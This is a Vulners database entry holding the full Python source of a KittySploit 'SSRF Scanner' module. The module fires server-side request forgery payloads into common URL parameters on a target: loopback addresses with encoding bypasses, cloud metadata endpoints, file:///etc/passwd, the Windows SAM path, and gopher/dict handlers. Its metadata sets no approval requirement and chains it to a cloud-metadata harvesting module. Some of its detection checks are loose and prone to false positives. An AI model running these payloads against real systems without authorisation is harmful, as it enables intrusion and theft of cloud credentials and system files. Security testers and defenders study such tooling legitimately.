Lucene search
+L

SSRF Scanner

🗓️ 17 Jan 2026 08:03:29Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 2 Views

SSRF Scanner scans for SSRF vulnerabilities and internal network access.

Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.scanner.http.module_result import finalize_http_scanner_run
import urllib.parse
import time
import socket


class Module(Auxiliary, Http_client):

    __info__ = {
        'name': 'SSRF Scanner',
        'description': 'Scans for Server-Side Request Forgery (SSRF) vulnerabilities including internal network access, cloud metadata endpoints, and protocol handlers',
        'author': 'KittySploit Team',
        'tags': ['web', 'ssrf', 'scanner', 'security', 'network'],
        'references': [
            'https://owasp.org/www-community/attacks/Server_Side_Request_Forgery',
            'https://portswigger.net/web-security/ssrf',
            'https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html',
        ],
    'agent': {
        'risk': 'active',
        'effects': ['network_probe'],
        'expected_requests': 2,
        'reversible': True,
        'approval_required': False,
        'produces': ['tech_hints', 'risk_signals', 'endpoints', 'params'],
        'chain': {
            'produces_capabilities': [
                'ssrf_primitive',
                {'capability': 'ssrf_param', 'from_detail': 'ssrf_param'},
            ],
            'option_bindings': {
                'ssrf_param': 'ssrf_param',
            },
            'suggested_followups': [
                'auxiliary/scanner/http/ssrf_cloud_metadata_harvest',
            ],
        },
    },
    }

    # SSRF test URLs
    SSRF_PAYLOADS = [
        # Internal IPs
        'http://127.0.0.1',
        'http://127.0.0.1:80',
        'http://127.0.0.1:8080',
        'http://127.0.0.1:3000',
        'http://localhost',
        'http://localhost:80',
        'http://localhost:8080',
        'http://0.0.0.0',
        'http://[::1]',
        
        # Cloud metadata endpoints
        'http://169.254.169.254/latest/meta-data/',
        'http://169.254.169.254/latest/user-data/',
        'http://169.254.169.254/latest/dynamic/instance-identity/document',
        'http://metadata.google.internal/computeMetadata/v1/',
        'http://metadata.azure.net/metadata/instance',
        
        # Protocol handlers
        'file:///etc/passwd',
        'file:///C:/windows/system32/config/sam',
        'gopher://127.0.0.1:80',
        'dict://127.0.0.1:80',
        'ldap://127.0.0.1:80',
        
        # Bypass techniques
        'http://127.0.0.1:80',
        'http://127.1.1.1',
        'http://2130706433',  # 127.0.0.1 in decimal
        'http://0x7f000001',  # 127.0.0.1 in hex
        'http://0177.0.0.1',  # 127.0.0.1 in octal
        'http://127.0.0.1.xip.io',
        'http://127.0.0.1.nip.io',
        
        # URL encoding
        'http://%31%32%37%2e%30%2e%30%2e%31',  # 127.0.0.1
        'http://%6c%6f%63%61%6c%68%6f%73%74',  # localhost
    ]

    # Parameter names commonly used for URLs
    URL_PARAMS = [
        'url', 'uri', 'link', 'path', 'file', 'src', 'source',
        'redirect', 'redirect_to', 'redirect_uri', 'return',
        'callback', 'callback_url', 'webhook', 'webhook_url',
        'api', 'api_url', 'endpoint', 'endpoint_url',
        'image', 'image_url', 'picture', 'picture_url',
        'fetch', 'fetch_url', 'load', 'load_url',
    ]

    def check(self):
        """
        Check if the target is accessible
        """
        try:
            response = self.http_request(method="GET", path="/")
            if response and response.status_code in [200, 301, 302, 403, 404, 401]:
                return True
            return False
        except Exception as e:
            return False

    def test_ssrf_payload(self, payload, param_name='url', method='GET'):
        """
        Test an SSRF payload
        
        Args:
            payload: The SSRF payload to test
            param_name: Parameter name to inject into
            method: HTTP method to use
            
        Returns:
            dict: Test results
        """
        try:
            if method == 'GET':
                # URL encode the payload
                encoded_payload = urllib.parse.quote(payload, safe=':/?#[]@!$&\'()*+,;=')
                test_path = f"/?{param_name}={encoded_payload}"
                
                start_time = time.time()
                response = self.http_request(
                    method="GET",
                    path=test_path,
                    allow_redirects=False,
                    timeout=10
                )
                elapsed_time = time.time() - start_time
            else:
                # POST request
                post_data = {param_name: payload}
                start_time = time.time()
                response = self.http_request(
                    method="POST",
                    path="/",
                    data=post_data,
                    allow_redirects=False,
                    timeout=10
                )
                elapsed_time = time.time() - start_time

            if not response:
                return {'payload': payload, 'vulnerable': False, 'error': 'No response'}

            # Analyze response for SSRF indicators
            is_vulnerable = False
            indicators = []
            ssrf_type = None

            # Check for internal IP responses
            internal_ips = ['127.0.0.1', 'localhost', '0.0.0.0', '::1']
            response_text = response.text.lower()
            
            for ip in internal_ips:
                if ip in response_text:
                    is_vulnerable = True
                    ssrf_type = 'Internal network access'
                    indicators.append(f'Internal IP detected: {ip}')
                    break

            # Check for cloud metadata
            metadata_indicators = [
                'instance-id', 'ami-id', 'instance-type',
                'availability-zone', 'public-ipv4', 'local-ipv4',
                'computeMetadata', 'metadata.azure.net',
                'ec2-metadata', 'aws', 'azure', 'gcp',
            ]
            
            for indicator in metadata_indicators:
                if indicator in response_text:
                    is_vulnerable = True
                    ssrf_type = 'Cloud metadata access'
                    indicators.append(f'Cloud metadata detected: {indicator}')
                    break

            # Check for file:// protocol response
            if 'file://' in payload.lower():
                if 'root:' in response_text or 'bin/bash' in response_text:
                    is_vulnerable = True
                    ssrf_type = 'File protocol access'
                    indicators.append('File protocol access detected (/etc/passwd)')

            # Check for error messages that reveal SSRF
            ssrf_errors = [
                'connection refused', 'connection timeout',
                'no route to host', 'network is unreachable',
                'name or service not known', 'temporary failure',
                'connection reset', 'socket', 'tcp',
            ]
            
            for error in ssrf_errors:
                if error in response_text:
                    is_vulnerable = True
                    if not ssrf_type:
                        ssrf_type = 'Network error (possible SSRF)'
                    indicators.append(f'Network error: {error}')
                    break

            # Check response time (might indicate internal network access)
            if elapsed_time > 2 and '127.0.0.1' in payload or 'localhost' in payload:
                indicators.append(f'Delayed response: {elapsed_time:.2f}s (possible internal network)')

            # Check for protocol handler responses
            if 'gopher://' in payload.lower() or 'dict://' in payload.lower():
                if response.status_code not in [400, 404]:
                    is_vulnerable = True
                    ssrf_type = 'Protocol handler access'
                    indicators.append('Protocol handler may be supported')

            return {
                'payload': payload,
                'param': param_name,
                'method': method,
                'vulnerable': is_vulnerable,
                'ssrf_type': ssrf_type,
                'indicators': indicators,
                'status_code': response.status_code,
                'response_time': elapsed_time,
                'response_length': len(response.text)
            }

        except Exception as e:
            return {
                'payload': payload,
                'param': param_name,
                'vulnerable': False,
                'error': str(e)
            }

    def run(self):
        """
        Execute the SSRF scan
        """
        self.vulnerabilities = []
        self.test_results = []
        
        print_status("Starting SSRF scan...")
        print_info(f"Target: {self.target}")
        print_info("")
        
        # Test GET parameters
        print_status("Testing GET parameters for SSRF vulnerabilities...")
        print_info("")
        
        for param in self.URL_PARAMS:
            print_info(f"Testing parameter: {param}")
            
            for i, payload in enumerate(self.SSRF_PAYLOADS[:15], 1):  # Test first 15 payloads per param
                result = self.test_ssrf_payload(payload, param, method='GET')
                self.test_results.append(result)
                
                if result.get('vulnerable'):
                    print_success(f"  [!] Potential SSRF found!")
                    print_info(f"      Parameter: {param}")
                    print_info(f"      Payload: {payload[:60]}...")
                    print_info(f"      Type: {result.get('ssrf_type', 'Unknown')}")
                    print_info(f"      Indicators: {', '.join(result.get('indicators', []))}")
                    print_info(f"      Status Code: {result.get('status_code')}")
                    if result.get('response_time'):
                        print_info(f"      Response Time: {result.get('response_time'):.2f}s")
                    print_info("")
                    self.vulnerabilities.append(result)
        
        print_info("")
        
        # Test POST parameters
        print_status("Testing POST parameters for SSRF vulnerabilities...")
        print_info("")
        
        for param in self.URL_PARAMS[:10]:  # Test first 10 params via POST
            print_info(f"Testing POST parameter: {param}")
            
            for payload in self.SSRF_PAYLOADS[:10]:  # Test first 10 payloads
                result = self.test_ssrf_payload(payload, param, method='POST')
                self.test_results.append(result)
                
                if result.get('vulnerable'):
                    print_success(f"  [!] Potential SSRF found (POST)!")
                    print_info(f"      Parameter: {param}")
                    print_info(f"      Payload: {payload[:60]}...")
                    print_info(f"      Type: {result.get('ssrf_type', 'Unknown')}")
                    print_info(f"      Indicators: {', '.join(result.get('indicators', []))}")
                    print_info("")
                    self.vulnerabilities.append(result)
        
        print_info("")
        
        # Summary
        print_status("=" * 60)
        print_status("SSRF Scan Summary")
        print_status("=" * 60)
        
        print_info(f"Total tests performed: {len(self.test_results)}")
        print_info(f"Vulnerabilities found: {len(self.vulnerabilities)}")
        print_status("=" * 60)
        print_info("")
        
        if self.vulnerabilities:
            print_warning("SSRF vulnerabilities detected:")
            print_info("")
            
            # Group by SSRF type
            by_type = {}
            for vuln in self.vulnerabilities:
                ssrf_type = vuln.get('ssrf_type', 'Unknown')
                if ssrf_type not in by_type:
                    by_type[ssrf_type] = []
                by_type[ssrf_type].append(vuln)
            
            for ssrf_type, vulns in by_type.items():
                print_info(f"{ssrf_type} ({len(vulns)} found):")
                table_data = []
                for vuln in vulns[:10]:  # Show first 10 per type
                    payload_short = vuln['payload'][:40] + '...' if len(vuln['payload']) > 40 else vuln['payload']
                    indicators = ', '.join(vuln.get('indicators', [])[:1])
                    table_data.append([
                        vuln.get('param', 'N/A'),
                        vuln.get('method', 'GET'),
                        payload_short,
                        indicators
                    ])
                
                if table_data:
                    print_table(['Parameter', 'Method', 'Payload', 'Indicators'], table_data)
                print_info("")
            
            print_warning("IMPORTANT: These are potential SSRF vulnerabilities. Manual verification is required.")
        else:
            print_info("No SSRF vulnerabilities detected during automated testing.")
            print_info("Note: This does not guarantee the application is secure.")

        return finalize_http_scanner_run(
            self,
            self.vulnerabilities,
            title="Server-Side Request Forgery (SSRF)",
            severity="high",
            category="ssrf",
            findings_key="ssrf_findings",
            dedupe_keys=("method", "param", "payload"),
            vulnerability_info_extra=self._chain_extra_from_vulns(),
        )

    def _chain_extra_from_vulns(self) -> dict:
        if not self.vulnerabilities:
            return {}
        top = self.vulnerabilities[0]
        return {
            k: v
            for k, v in (
                ("ssrf_param", str(top.get("param") or "")),
                ("ssrf_method", str(top.get("method") or "GET").upper()),
                ("ssrf_type", str(top.get("ssrf_type") or "")),
            )
            if v
        }

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Jul 2026 11:31Current
5.9Medium risk
Vulners AI Score5.9
2